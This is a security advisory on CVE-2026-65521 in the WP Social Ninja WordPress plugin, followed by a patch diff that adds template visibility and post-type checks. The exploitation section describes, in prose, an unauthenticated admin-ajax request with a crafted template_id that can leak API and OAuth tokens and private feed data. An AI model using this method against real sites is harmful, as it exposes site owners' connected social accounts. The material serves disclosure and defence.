Published : August 9, 2026

CVE-2026-65521: WP Social Ninja – Embed Social Feeds, User Reviews & Chat Widgets <= 4.3.0 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 4.3.0
Patched Version 4.3.1
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65521:

The WP Social Ninja – Embed Social Feeds, User Reviews & Chat Widgets plugin for WordPress contains an unauthenticated Sensitive Information Exposure vulnerability in versions up to and including 4.3.0. The vulnerability stems from multiple public-facing handlers and AJAX endpoints that fail to validate the post type and publication status of template IDs before processing them. This allows unauthenticated attackers to retrieve sensitive configuration data, feed data, and potentially the site owner’s API tokens or private/unlisted YouTube video metadata. The CVSS score is 5.3 (MEDIUM).

Root Cause: The core issue lies in the lack of a centralized visibility check across several rendering and data-fetching paths. The ShortcodeHandler class, responsible for rendering feeds via shortcode and AJAX, trusted template IDs passed in requests without verifying they pointed to a published post of the ‘wp_social_reviews’ post type. Attackers could supply the ID of any post, including drafts, private posts, or posts of other post types that share the ‘_wpsr_template_config’ meta key, such as notification templates. Furthermore, the public AJAX renderers used a nonce that was printed for logged-out visitors, meaning it provided no authentication. The patch introduces the isPublicRenderableTemplate() method in ShortcodeHandler.php, which validates the post type against an allowlist (‘wp_social_reviews’) and ensures the post status is ‘publish’ and not password-protected, unless the current user has the ‘edit_post’ capability. This check is then applied to the main AJAX renderer, the ‘loadMore’ method, and the YouTubeTemplateHandler. The patch also addresses missing post-type validation in the Chat and Reviews MetaController update/delete methods, and in the SocialChat and Reviews data-update raw database queries, preventing low-privilege users from writing to arbitrary posts. The YouTubeFeed::getPublishVideos() function was modified to strictly filter for ‘public’ privacy status and the single-video feed now requests the ‘status’ part from the YouTube API, ensuring private and unlisted videos are never cached or served. The ActivationHandler now purges pre-existing non-public YouTube caches on update. Image optimization handlers were also gated with the public renderable template check.

Exploitation: An unauthenticated attacker can exploit the main AJAX endpoint by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘wpsr_template_render’, or the specific action for the single-video template renderer. The request includes a ‘template_id’ parameter. By setting this to the ID of a draft or private post (or any post containing ‘_wpsr_template_config’ meta), the vulnerable plugin would read and display the template’s configuration and feed data. This could expose the configured YouTube channel ID, API keys, OAuth tokens, or Facebook/Instagram account details. Similarly, sending a request to the ‘wpsocialreviews_review_image_optimization’ or ‘wpsr_image_optimization’ AJAX actions with a ‘template_id’ pointing to a non-public post could cause the server to fetch and process images for that private feed, potentially exhausting server resources. The unauthenticated nature is confirmed by the code comments in the patch stating the nonce is localized for logged-out visitors, thus providing no security.

Patch Analysis: The patch implements a defense-in-depth approach by adding a centralized permission check (isPublicRenderableTemplate) and re-asserting post type constraints at the database layer. Before the patch, the application would follow any template ID to its metadata and process it. After the patch, all public rendering paths first validate that the template post is of the correct type and is published. If not, they return an error or empty string. The patch also fixes the underlying YouTube privacy leak by filtering videos to ‘public’ status before caching and requesting the ‘status’ field from the YouTube API for single-video feeds. Changes were also made to the activation handler to purge any existing caches that may have contained leaked private video data. The raw database update queries in SocialChat.php and Reviews MetaController now include a ‘post_type’ condition to prevent arbitrary post modification. The patch also fixes a potential data-loss bug in the uninstall logic where a default setting prevented the clean-up of plugin data.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information that should not be publicly available. This directly exposes the site owner’s connected social media account data, including API tokens and user information, which is a direct violation of user privacy and could lead to account compromise of the connected social profiles. Beyond direct data theft, the vulnerability could be used to leak draft or unpublished reviews, private videos, or configuration details that could aid further attacks. The exposure of the YouTube feed can leak private video titles and metadata. While the CVSS score is 5.3, the potential for leaking OAuth tokens elevates the real-world risk, as an attacker could potentially use these tokens to gain persistent access to the site owner’s connected social media accounts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-social-reviews/app/Hooks/Handlers/ActivationHandler.php
+++ b/wp-social-reviews/app/Hooks/Handlers/ActivationHandler.php
@@ -4,17 +4,73 @@

 use WPSocialReviewsDatabaseDBMigrator;
 use WPSocialReviewsDatabaseDBSeeder;
+use WPSocialReviewsAppServicesPlatformsFeedsCacheHandler;
 class ActivationHandler
 {
     public function handle($network_wide = false)
     {
         DBMigrator::run($network_wide);
+        $this->purgeNonPublicYoutubeCaches($network_wide);
         update_option('_wp_social_ninja_version', WPSOCIALREVIEWS_VERSION, 'no');

         (new ActivateCronEvent())->activate();
         $this->setPluginInstallTime();
     }

+    /**
+     * One-time purge of pre-4.3.1 YouTube feed caches.
+     *
+     * The public-only privacy filter (YoutubeFeed::getPublishVideos) runs at fetch
+     * time, so caches written by 4.3.0 can still contain private/unlisted videos and
+     * would keep serving them until they expired. Clear the youtube cache rows once so
+     * the next fetch repopulates them through the filter. Runs after DBMigrator::run()
+     * so the wpsr_caches table exists, and is guarded by a non-autoloaded option whose
+     * flag is only set after a successful clear, so a failure retries on the next run.
+     *
+     * On network activation the caches, tables and the completion option are all
+     * per-site, so mirror DBMigrator::run() and purge each site in its own context.
+     *
+     * @param bool $network_wide
+     *
+     * @return void
+     * @since 4.3.1
+     */
+    public function purgeNonPublicYoutubeCaches($network_wide = false)
+    {
+        if ($network_wide && function_exists('get_sites') && function_exists('get_current_network_id')) {
+            $site_ids = get_sites(array(
+                'fields'     => 'ids',
+                'network_id' => get_current_network_id(),
+            ));
+
+            foreach ($site_ids as $site_id) {
+                switch_to_blog($site_id);
+                $this->purgeYoutubeCacheForCurrentSite();
+                restore_current_blog();
+            }
+
+            return;
+        }
+
+        $this->purgeYoutubeCacheForCurrentSite();
+    }
+
+    /**
+     * Purge the current site's YouTube feed caches once, guarded by a per-site option.
+     *
+     * @return void
+     * @since 4.3.1
+     */
+    protected function purgeYoutubeCacheForCurrentSite()
+    {
+        if (get_option('wpsr_youtube_privacy_cache_purged')) {
+            return;
+        }
+
+        (new CacheHandler('youtube'))->clearCache();
+        update_option('wpsr_youtube_privacy_cache_purged', true, 'no');
+    }
+
     public function setPluginInstallTime()
     {
         $statuses = get_option( 'wpsr_statuses', []);
--- a/wp-social-reviews/app/Hooks/Handlers/ShortcodeHandler.php
+++ b/wp-social-reviews/app/Hooks/Handlers/ShortcodeHandler.php
@@ -71,6 +71,13 @@
             return __('Provided platform name is not valid.', 'wp-social-reviews');
         }

+        // Same visibility policy as the AJAX renderers: never render a draft, private,
+        // password-protected, or wrong-post-type template on a public page. Users who
+        // can edit the template still get admin previews via the edit_post fallback.
+        if (!$this->isPublicRenderableTemplate($templateId)) {
+            return '';
+        }
+
         $this->platform = $platform;
         $this->productId = $product_id;

@@ -93,6 +100,55 @@

     }

+    /**
+     * Check whether a template id may be rendered on a public (unauthenticated) request.
+     *
+     * Template configs live in post meta, so the public AJAX renderers would otherwise
+     * accept any post id — including unpublished/draft/private templates and posts
+     * belonging to other plugin post types that share the `_wpsr_template_config`
+     * meta key (notifications, chat widgets). The `wpsr-ajax-nonce` used by those
+     * endpoints is printed for logged-out visitors, so it authenticates nothing here.
+     *
+     * Users who can edit the template keep access, so admin-side previews still work.
+     *
+     * @param int $wpsr_template_id
+     *
+     * @return bool
+     * @since 4.3.1
+     */
+    public function isPublicRenderableTemplate($wpsr_template_id)
+    {
+        $wpsr_template_id = absint($wpsr_template_id);
+
+        if (empty($wpsr_template_id)) {
+            return false;
+        }
+
+        $wpsr_template_post = get_post($wpsr_template_id);
+
+        if (empty($wpsr_template_post)) {
+            return false;
+        }
+
+        $wpsr_allowed_post_types = apply_filters(
+            'wpsocialreviews/public_renderable_template_post_types',
+            ['wp_social_reviews']
+        );
+
+        if (!in_array($wpsr_template_post->post_type, $wpsr_allowed_post_types, true)) {
+            return false;
+        }
+
+        // A published but password-protected template must still satisfy the post
+        // password challenge; anonymous AJAX callers never do, so fall through to the
+        // edit_post capability check (admin previews) rather than exposing its feed.
+        if ($wpsr_template_post->post_status === 'publish' && !post_password_required($wpsr_template_post)) {
+            return true;
+        }
+
+        return current_user_can('edit_post', $wpsr_template_id);
+    }
+
     public function templateMeta($templateId, $platform)
     {
         $this->platform = $platform;
@@ -1262,6 +1318,13 @@
         }

         $templateId = absint(Arr::get($_REQUEST, 'template_id'));
+
+        if (!$this->isPublicRenderableTemplate($templateId)) {
+            wp_send_json_error([
+                'message' => __('Invalid template.', 'wp-social-reviews')
+            ], 403);
+        }
+
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reading AJAX parameters for pagination, not processing sensitive form data
         $platform = sanitize_text_field(Arr::get($_REQUEST, 'platform'));
         // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reading AJAX parameters for pagination, not processing sensitive form data
@@ -1305,6 +1368,12 @@
         }

         $templateId = absint($args['id']);
+
+        // Same visibility policy as the primary shortcode / AJAX renderers.
+        if (!$this->isPublicRenderableTemplate($templateId)) {
+            return '';
+        }
+
         $feed_meta       = get_post_meta($templateId, '_wpsr_template_config', true);
         $decodedMeta     = json_decode($feed_meta, true);
         $feed_settings   = Arr::get($decodedMeta, 'social_wall_settings', array());
--- a/wp-social-reviews/app/Hooks/Handlers/UninstallHandler.php
+++ b/wp-social-reviews/app/Hooks/Handlers/UninstallHandler.php
@@ -6,8 +6,32 @@
 class UninstallHandler
 {
     public $isTableDelete = true;
+
+    /**
+     * Uninstall entry point. Removes all plugin data unless the user opted to keep it.
+     *
+     * The "preserve plugin data" guard lives here rather than in deleteAllPlatformsData()
+     * because that method serves two callers with opposite intent: this one, where the
+     * user's stored preference must win, and SettingsController::deleteAllData(), where
+     * the user has explicitly clicked "Delete All Data" and the preference must be
+     * ignored. Guarding the shared method would turn that button into a silent no-op,
+     * since preserve_plugin_data defaults to 'true'.
+     *
+     * The preference is read straight from the wpsr_global_settings option rather than
+     * through the GlobalSettings service, to keep the uninstall path free of service
+     * instantiation. Defaults to preserving, so an unreadable or missing option can
+     * never cause data loss.
+     *
+     * @return void
+     */
     public function handle()
     {
+        $settings = get_option('wpsr_global_settings', []);
+        $advanceSettings = Arr::get($settings, 'global_settings.advance_settings', []);
+        if (Arr::get($advanceSettings, 'preserve_plugin_data', 'true') === 'true') {
+            return;
+        }
+
         $this->deleteAllPlatformsData($this->isTableDelete);
     }

@@ -17,11 +41,6 @@
             return;
         }

-        $advanceSettings = get_option('advance_settings');
-        if (Arr::get($advanceSettings, 'preserve_plugin_data') === 'true') {
-            return;
-        }
-
         $manager = new PlatformManager();
         $reviewsPlatforms = $manager->reviewsPlatforms();

--- a/wp-social-reviews/app/Hooks/Handlers/YoutubeTemplateHandler.php
+++ b/wp-social-reviews/app/Hooks/Handlers/YoutubeTemplateHandler.php
@@ -124,6 +124,10 @@
         $app = App::getInstance();
         $shortcodeHandler = new ShortcodeHandler();

+        if (!$shortcodeHandler->isPublicRenderableTemplate($templateId)) {
+            wp_send_json_error(['message' => __('Invalid template.', 'wp-social-reviews')], 403);
+        }
+
         $template_meta = $shortcodeHandler->templateMeta($templateId, 'youtube');
         $feeds = (new YoutubeFeed())->getTemplateMeta($template_meta, $templateId);
         $settings = $shortcodeHandler->formatFeedSettings($feeds);
--- a/wp-social-reviews/app/Http/Controllers/Platforms/Chats/MetaController.php
+++ b/wp-social-reviews/app/Http/Controllers/Platforms/Chats/MetaController.php
@@ -8,15 +8,49 @@

 class MetaController extends Controller
 {
+    /**
+     * The only post type these endpoints may read from or write to.
+     *
+     * absint() casts the ID but does not validate what it points at. Downstream,
+     * SocialChat::updateSettings() runs a raw `menu_order` UPDATE and an
+     * update_post_meta() on whatever ID it is handed, and neither performs a
+     * capability check of its own — so without this guard a low-privilege
+     * wpsn_* capability holder could write to any post on the site.
+     */
+    const CHAT_POST_TYPE = 'wpsr_social_chats';
+
+    /**
+     * @param int $postId
+     * @return bool Whether the ID resolves to a chat widget.
+     */
+    private function isChatWidget($postId)
+    {
+        return $postId && get_post_type($postId) === self::CHAT_POST_TYPE;
+    }
+
     public function index(Request $request, $postId)
     {
         $postId = absint($postId);
+
+        if (!$this->isChatWidget($postId)) {
+            return $this->sendError([
+                'message' => __('Chat widget not found.', 'wp-social-reviews')
+            ], 404);
+        }
+
         do_action('wpsocialreviews/get_chat_settings', $postId);
     }

     public function update(Request $request, $postId)
     {
         $postId = absint($postId);
+
+        if (!$this->isChatWidget($postId)) {
+            return $this->sendError([
+                'message' => __('Chat widget not found.', 'wp-social-reviews')
+            ], 404);
+        }
+
         $settings = json_decode($request->get('args'), true);
         $settings = wp_unslash($settings);
         $settings = $this->sanitizeChatSettings($settings);
@@ -26,6 +60,13 @@
     public function delete(Request $request, $postId)
     {
         $postId = absint($postId);
+
+        if (!$this->isChatWidget($postId)) {
+            return $this->sendError([
+                'message' => __('Chat widget not found.', 'wp-social-reviews')
+            ], 404);
+        }
+
         do_action('wpsocialreviews/delete_chat_settings', $postId);
     }

--- a/wp-social-reviews/app/Http/Controllers/Platforms/Reviews/MetaController.php
+++ b/wp-social-reviews/app/Http/Controllers/Platforms/Reviews/MetaController.php
@@ -196,9 +196,45 @@
         ]);
     }

+    /**
+     * Post types this controller is allowed to read from and write to.
+     *
+     * Without this guard the meta endpoints accept any post ID, and neither
+     * wp_update_post() nor update_post_meta() performs a capability check of
+     * its own, so a low-privilege capability holder could overwrite arbitrary
+     * pages, posts or products.
+     */
+    const ALLOWED_POST_TYPES = ['wp_social_reviews', 'wpsr_reviews_notify'];
+
+    /**
+     * @param int $templateId
+     * @return WP_Post|null The template post, or null if it is not one of ours.
+     */
+    private function getTemplatePost($templateId)
+    {
+        if (!$templateId) {
+            return null;
+        }
+
+        $templateDetails = get_post($templateId);
+
+        if (!$templateDetails || !in_array($templateDetails->post_type, self::ALLOWED_POST_TYPES, true)) {
+            return null;
+        }
+
+        return $templateDetails;
+    }
+
     public function update(Request $request, $templateId)
     {
         $templateId = absint($templateId);
+
+        if (!$this->getTemplatePost($templateId)) {
+            return $this->sendError([
+                'message' => __('Template not found.', 'wp-social-reviews')
+            ], 404);
+        }
+
         $templateMeta = wp_unslash($request->get('template_meta'));
         $templateMeta = json_decode($templateMeta, true);
         $templateMeta = $this->sanitizeTemplateMeta($templateMeta);
@@ -240,7 +276,10 @@
                 $menuOrder = $formattedMeta['notification_settings']['notification_priority'];
                 $db = App::getInstance('db');

+                // post_type is re-asserted here: this bypasses wp_update_post(), so it
+                // must not rely on the caller's guard alone.
                 $db->table('posts')->where('ID', $templateId)
+                    ->whereIn('post_type', self::ALLOWED_POST_TYPES)
                     ->update([
                         'menu_order' => absint($menuOrder)
                     ]);
@@ -410,8 +449,8 @@
     public function loadMore(Request $request, $templateId)
     {
         $templateId = absint($templateId);
-        $templateDetails = get_post($templateId);
-        if (!$templateDetails || !in_array($templateDetails->post_type, ['wp_social_reviews', 'wpsr_reviews_notify'], true)) {
+
+        if (!$this->getTemplatePost($templateId)) {
             return $this->sendError(['message' => __('Template not found.', 'wp-social-reviews')], 404);
         }

--- a/wp-social-reviews/app/Services/Platforms/Chats/SocialChat.php
+++ b/wp-social-reviews/app/Services/Platforms/Chats/SocialChat.php
@@ -68,7 +68,10 @@
             $menuOrder = $args['menu_order'];
             unset($args['menu_order']);
             $db = App::getInstance('db');
+            // post_type is re-asserted here: this is a raw UPDATE that bypasses the
+            // WordPress post API, so it must not rely on the caller's guard alone.
             $db->table('posts')->where('ID', $postId)
+                ->where('post_type', 'wpsr_social_chats')
                 ->update([
                     'menu_order' => absint($menuOrder)
                 ]);
--- a/wp-social-reviews/app/Services/Platforms/Feeds/Common/FeedFilters.php
+++ b/wp-social-reviews/app/Services/Platforms/Feeds/Common/FeedFilters.php
@@ -79,10 +79,14 @@
                 $globalSettings = $imageHandlerObj->getGlobalSettings();
                 if(Arr::get($globalSettings, 'optimized_images') === 'true') {
                     $resizedImages = $imageHandlerObj->getResizeNeededImageLists($feeds,  $feed_settings);
-                    $account_to_show = Arr::get($feed_settings, 'header_settings.account_to_show');
-                    $header['account_id'] = $account_to_show;
-                    $header['avatar'] = $imageHandlerObj->formattedData($header,'avatars');
-                    $header['covers']  = $imageHandlerObj->formattedData($header,'covers');
+                    // Some feed types (e.g. youtube single video) return an empty string
+                    // as header, so only decorate it when there is an actual header array.
+                    if (is_array($header) && !empty($header)) {
+                        $account_to_show = Arr::get($feed_settings, 'header_settings.account_to_show');
+                        $header['account_id'] = $account_to_show;
+                        $header['avatar'] = $imageHandlerObj->formattedData($header, 'avatars');
+                        $header['covers'] = $imageHandlerObj->formattedData($header, 'covers');
+                    }
                 }
             }

--- a/wp-social-reviews/app/Services/Platforms/Feeds/Youtube/YoutubeFeed.php
+++ b/wp-social-reviews/app/Services/Platforms/Feeds/Youtube/YoutubeFeed.php
@@ -643,15 +643,21 @@
     public function getPublishVideos($videoList)
     {
         $videos = Arr::get($videoList, 'items' , []);
-        foreach($videos as $index => $video)
+        $publicVideos = [];
+        foreach($videos as $video)
         {
-            $videoStatus = Arr::get($video['status'], 'privacyStatus', '');
-            if($videoStatus == 'unlisted')
+            // Allow only 'public' videos through. The feed is fetched with the site
+            // owner's OAuth token, so 'private' and 'unlisted' videos come back in the
+            // API response and must not be rendered on the front end.
+            $videoStatus = Arr::get($video, 'status.privacyStatus', '');
+            if($videoStatus === 'public')
             {
-                unset($videoList['items'][$index]);
+                $publicVideos[] = $video;
             }
         }

+        $videoList['items'] = $publicVideos;
+
         return $videoList;
     }

@@ -768,7 +774,10 @@
         }

         $videoLists = [];
-        $parts      = 'id,snippet';
+        // Request 'status' so getPublishVideos() can drop private/unlisted videos; the
+        // single-video feed is fetched with the site owner's token and would otherwise
+        // expose non-public videos configured by id on a published template.
+        $parts      = 'id,snippet,status';
         $parts      = apply_filters('wpsocialreviews/youtube_api_parts', $parts, 'single_video');

 	    $videoLists = $this->cacheHandler->getFeedCache($feedCacheName);
@@ -1075,6 +1084,11 @@

                 return ['error_message' => isset($wpsr_error_check_complete[1]) ? $wpsr_error_check_complete[1] : __('Problem in api key or access token setting!!', 'wp-social-reviews')];
             } elseif (!$this->cacheHandler->getFeedCache($cacheName)) {
+                if ($feedType === 'single_video') {
+                    // Fetched with the site owner's token, so private/unlisted videos come
+                    // back in the response — filter to public-only before caching or returning.
+                    $feedData = $this->getPublishVideos($feedData);
+                }
                 $this->cacheHandler->createCache($cacheName, $feedData);
                 return $feedData;
             }
--- a/wp-social-reviews/app/Services/Platforms/ImageOptimizationHandler.php
+++ b/wp-social-reviews/app/Services/Platforms/ImageOptimizationHandler.php
@@ -54,6 +54,14 @@
         $platform = isset($_REQUEST['platform']) ? sanitize_text_field(wp_unslash($_REQUEST['platform'])) : '';
         $feed_type = isset($_REQUEST['feed_type']) ? sanitize_text_field(wp_unslash($_REQUEST['feed_type'])) : '';

+        // The nonce is localized for logged-out visitors, so it authenticates nothing.
+        // Gate on the template being publicly renderable before reading its meta, otherwise
+        // an anonymous request could fetch a draft/private feed with the site's token and
+        // materialize its private images into the uploads directory.
+        if (!(new WPSocialReviewsAppHooksHandlersShortcodeHandler())->isPublicRenderableTemplate($id)) {
+            wp_send_json_error(['message' => __('Invalid template.', 'wp-social-reviews')], 403);
+        }
+
         if($id > 0 && $this->platform == $platform) {
             $encodedMeta   = get_post_meta($id, '_wpsr_template_config', true);
             $decodedMeta   = json_decode($encodedMeta, true);
--- a/wp-social-reviews/app/Services/Platforms/PlatformErrorManager.php
+++ b/wp-social-reviews/app/Services/Platforms/PlatformErrorManager.php
@@ -221,7 +221,7 @@
                 // translators: Please retain the placeholders (%s, %d, etc.) and ensure they are correctly used in context.
                 $return_message['error_message']       = sprintf( __( 'Account(%1$s): Error: Connected account for the user %2$s does not have permission to use this feed type.', 'wp-social-reviews' ), $userName, $userName );
                 // translators: Please retain the placeholders (%s, %d, etc.) and ensure they are correctly used in context.
-                $return_message['admin_only']          = sprintf(__( 'Simply tap on the "Continue with Instagram/Facebook" button on the "%s Configuration" modal to reconnect your account and update its permissions.', 'wp-social-reviews' ), $platformWithType);
+                $return_message['admin_only']          = sprintf(__( 'Simply tap on the "Connect Instagram Account" or "Connect Facebook Account" button on the "%s Configuration" modal to reconnect your account and update its permissions.', 'wp-social-reviews' ), $platformWithType);
             } elseif ( (int) Arr::get($errors, 'error.code') === 24 ){
                 $return_message['error_message']       = __( 'Error: Cannot retrieve posts for this hashtag.', 'wp-social-reviews' );
                 $return_message['admin_only']          = $errors['error']['error_user_msg'];
@@ -229,13 +229,13 @@
                 // translators: Please retain the placeholders (%s, %d, etc.) and ensure they are correctly used in context.
                 $return_message['error_message']       = sprintf( __( 'API error %s:', 'wp-social-reviews' ), $errors['error']['code'] ) . ' ' . str_replace( '"', '', $errors['error']['message']);
                 // translators: Please retain the placeholders (%s, %d, etc.) and ensure they are correctly used in context.
-                $return_message['admin_only']          = sprintf(__( 'Simply tap on the "Continue with Instagram/Facebook" button on the "%s Configuration" modal to reconnect your account and update its permissions.', 'wp-social-reviews' ), $platformWithType);
+                $return_message['admin_only']          = sprintf(__( 'Simply tap on the "Connect Instagram Account" or "Connect Facebook Account" button on the "%s Configuration" modal to reconnect your account and update its permissions.', 'wp-social-reviews' ), $platformWithType);
             } elseif ((int) Arr::get($errors, 'error.code') == 'invalid_grant' && str_contains($errors['error']['message'] ?? '', 'Refresh token is invalid or expired.')) {
                 // translators: Please retain the placeholders (%s, %d, etc.) and ensure they are correctly used in context.
                 $return_message['error_message'] = sprintf(__('API error %s:', 'wp-social-reviews'), $errors['error']['code']) . ' ' . str_replace('"', '', $errors['error']['message']);
                 $return_message['admin_only'] = sprintf(
                 // translators: Please retain the placeholders (%s, %d, etc.) and ensure they are correctly used in context.
-                __('The connection to TikTok has expired or is no longer valid. This usually happens if the refresh token is outdated or the app’s permissions have been changed. To restore the connection, please tap on the "Continue with TikTok" button on the "%s Configuration" modal. This will guide you through reconnecting your account and updating its permissions.', 'wp-social-reviews'),
+                __('The connection to TikTok has expired or is no longer valid. This usually happens if the refresh token is outdated or the app’s permissions have been changed. To restore the connection, please tap on the "Connect TikTok Account" button on the "%s Configuration" modal. This will guide you through reconnecting your account and updating its permissions.', 'wp-social-reviews'),
                     $platformWithType
                 );
             } else {
--- a/wp-social-reviews/app/Services/Platforms/ReviewImageOptimizationHandler.php
+++ b/wp-social-reviews/app/Services/Platforms/ReviewImageOptimizationHandler.php
@@ -43,6 +43,15 @@
         $templateId = absint(Arr::get($_REQUEST, 'id', -1));
         $resize_data = isset($_REQUEST['resize_data']) ? array_map('sanitize_text_field', (array) wp_unslash($_REQUEST['resize_data'])) : [];
         $platforms = isset($_REQUEST['platforms']) ? array_map('sanitize_text_field', (array) wp_unslash($_REQUEST['platforms'])) : [];
+
+        // The nonce is localized for logged-out visitors, so it authenticates nothing.
+        // Gate on the template being publicly renderable before reading its meta, otherwise
+        // an anonymous request could fetch a draft/private template's reviews and
+        // materialize their images into the uploads directory.
+        if (!(new WPSocialReviewsAppHooksHandlersShortcodeHandler())->isPublicRenderableTemplate($templateId)) {
+            wp_send_json_error(['message' => __('Invalid template.', 'wp-social-reviews')], 403);
+        }
+
         if ($templateId > 0) {
             $templateMeta       = get_post_meta($templateId, '_wpsr_template_config', true);
             $formattedMeta = json_decode($templateMeta, true);
--- a/wp-social-reviews/app/Services/Platforms/Reviews/Airbnb.php
+++ b/wp-social-reviews/app/Services/Platforms/Reviews/Airbnb.php
@@ -540,7 +540,7 @@
             'staysBookingMigrationEnabled' => false,
             'translateUgc' => null,
             'useNewSectionWrapperApi' => false,
-            'sectionIds' => ['POLICIES_DEFAULT', 'BOOK_IT_SIDEBAR', 'URGENCY_COMMITMENT_SIDEBAR', 'BOOK_IT_NAV', 'BOOK_IT_FLOATING_FOOTER', 'URGENCY_COMMITMENT', 'BOOK_IT_CALENDAR_SHEET', 'CANCELLATION_POLICY_PICKER_MODAL'],
+            'sectionIds' => ['TITLE_DEFAULT', 'POLICIES_DEFAULT', 'BOOK_IT_SIDEBAR', 'URGENCY_COMMITMENT_SIDEBAR', 'BOOK_IT_NAV', 'BOOK_IT_FLOATING_FOOTER', 'URGENCY_COMMITMENT', 'BOOK_IT_CALENDAR_SHEET', 'CANCELLATION_POLICY_PICKER_MODAL'],
             'p3ImpressionId' => $p3ImpressionId,
         ];

@@ -584,15 +584,56 @@

         // Extract sharingConfig from the API response
         $sharingConfig = Arr::get($data, 'data.presentation.stayProductDetailPage.sections.metadata.sharingConfig', []);
-
+
         // Validate and return the sharingConfig if it has the correct structure
         if (!empty($sharingConfig) && is_array($sharingConfig) && isset($sharingConfig['__typename']) && $sharingConfig['__typename'] === 'PdpSharingConfig') {
+            // The host's actual listing title lives in the title section, not in
+            // sharingConfig.title (which is a generated "Home in {location}" label).
+            // Attach it so saveBusinessInfo() can prefer it over the generic label.
+            $listingTitle = $this->extractListingTitle($data);
+            if (!empty($listingTitle)) {
+                $sharingConfig['listingTitle'] = $listingTitle;
+            }
+
             return $sharingConfig;
         }

         return [];
     }

+    /**
+     * Extract the host's actual listing title from the PDP title section.
+     *
+     * Airbnb's sharingConfig.title is a generated SEO/share label (e.g.
+     * "Home in Gloucestershire · ★4.95 · 2 bedrooms"), which is identical across
+     * many of a host's listings. The custom, human-readable title the host set
+     * lives in the TITLE_DEFAULT section instead.
+     *
+     * @param array $data Decoded StaysPdpSections GraphQL response.
+     * @return string The listing title, or '' when unavailable.
+     */
+    private function extractListingTitle($data)
+    {
+        $sections = Arr::get($data, 'data.presentation.stayProductDetailPage.sections.sections', []);
+        if (empty($sections) || !is_array($sections)) {
+            return '';
+        }
+
+        foreach ($sections as $section) {
+            $sectionId = Arr::get($section, 'sectionId');
+            $typename  = Arr::get($section, 'section.__typename');
+
+            if ($sectionId === 'TITLE_DEFAULT' || $typename === 'PdpTitleSection') {
+                $title = Arr::get($section, 'section.title');
+                if (!empty($title) && is_string($title)) {
+                    return trim($title);
+                }
+            }
+        }
+
+        return '';
+    }
+
     public function formatData($review, $index)
     {
         $reviewData = $this->extractReviewData($review);
@@ -704,10 +745,18 @@

             // Handle GraphQL sharingConfig format (rooms)
             if (isset($data['__typename']) && $data['__typename'] === 'PdpSharingConfig') {
-                $title = Arr::get($data, 'title');
-                // Split the string by the delimiter " · "
-                $title = explode(" · ", $title);
-                $businessInfo['name']             = Arr::get($title, '0');
+                // Prefer the host's actual listing title when available; otherwise
+                // fall back to the generated sharingConfig.title label, taking the
+                // segment before the " · " delimiter.
+                $listingTitle = Arr::get($data, 'listingTitle');
+                if (!empty($listingTitle)) {
+                    $businessInfo['name']         = $listingTitle;
+                } else {
+                    $title = Arr::get($data, 'title');
+                    // Split the string by the delimiter " · "
+                    $title = explode(" · ", $title);
+                    $businessInfo['name']         = Arr::get($title, '0');
+                }
                 $businessInfo['average_rating']   = Arr::get($data, 'starRating');
                 $businessInfo['total_rating']     = Arr::get($data, 'reviewCount');
             } else if (isset($data['__typename']) && $data['__typename'] === 'PageInfoWithCount') {
@@ -987,7 +1036,8 @@

     private function isAllowedAirbnbHost($host)
     {
-        return (bool) preg_match('/(^|.)airbnb.com(.[a-z]{2})?$/i', $host);
+        // Localized domains: airbnb.com, airbnb.com.au, airbnb.co.uk, airbnb.fr, airbnb.cat
+        return (bool) preg_match('/(^|.)airbnb.(?:com|cat|[a-z]{2}|(?:co|com).[a-z]{2})$/i', $host);
     }

     private function isAllowedAirbnbPort($port)
--- a/wp-social-reviews/app/Services/TranslationStrings.php
+++ b/wp-social-reviews/app/Services/TranslationStrings.php
@@ -161,6 +161,7 @@
             'Build chat widgets for your whole site or specific pages. Add as many as you need.' => __('Build chat widgets for your whole site or specific pages. Add as many as you need.', 'wp-social-reviews'),
             'Bulk Action' => __('Bulk Action', 'wp-social-reviews'),
             'Bulk Actions' => __('Bulk Actions', 'wp-social-reviews'),
+            'Business Basic' => __('Business Basic', 'wp-social-reviews'),
             'Business Description' => __('Business Description', 'wp-social-reviews'),
             'Business Logo' => __('Business Logo', 'wp-social-reviews'),
             'Business Name' => __('Business Name', 'wp-social-reviews'),
@@ -243,25 +244,34 @@
             'Connect' => __('Connect', 'wp-social-reviews'),
             'Connect Accounts' => __('Connect Accounts', 'wp-social-reviews'),
             'Connect All Products' => __('Connect All Products', 'wp-social-reviews'),
+            'Connect Facebook Account' => __('Connect Facebook Account', 'wp-social-reviews'),
+            'Connect Google Business Profile' => __('Connect Google Business Profile', 'wp-social-reviews'),
+            'Connect Instagram Account' => __('Connect Instagram Account', 'wp-social-reviews'),
             'Connect More Account' => __('Connect More Account', 'wp-social-reviews'),
             'Connect More Accounts' => __('Connect More Accounts', 'wp-social-reviews'),
             'Connect Pages' => __('Connect Pages', 'wp-social-reviews'),
+            'Connect TikTok Account' => __('Connect TikTok Account', 'wp-social-reviews'),
             'Connect Your Account-> Create Your Template-> Customize Your Template-> Save Template-> Copy shortcode-> Embed it on your website.' => __('Connect Your Account-> Create Your Template-> Customize Your Template-> Save Template-> Copy shortcode-> Embed it on your website.', 'wp-social-reviews'),
             'Connect new account' => __('Connect new account', 'wp-social-reviews'),
+            'Connect YouTube Channel' => __('Connect YouTube Channel', 'wp-social-reviews'),
             'Connect this Account' => __('Connect this Account', 'wp-social-reviews'),
             'Connect with your visitors through multiple chat widgets.' => __('Connect with your visitors through multiple chat widgets.', 'wp-social-reviews'),
+            'Connect your Facebook account to display posts from the Pages you manage.' => __('Connect your Facebook account to display posts from the Pages you manage.', 'wp-social-reviews'),
+            'Connect your Facebook account to display reviews from the Pages you manage.' => __('Connect your Facebook account to display reviews from the Pages you manage.', 'wp-social-reviews'),
+            'Connect your Google account to show reviews from the locations you manage.' => __('Connect your Google account to show reviews from the locations you manage.', 'wp-social-reviews'),
+            'Connect your TikTok account to show your videos and profile info on your site.' => __('Connect your TikTok account to show your videos and profile info on your site.', 'wp-social-reviews'),
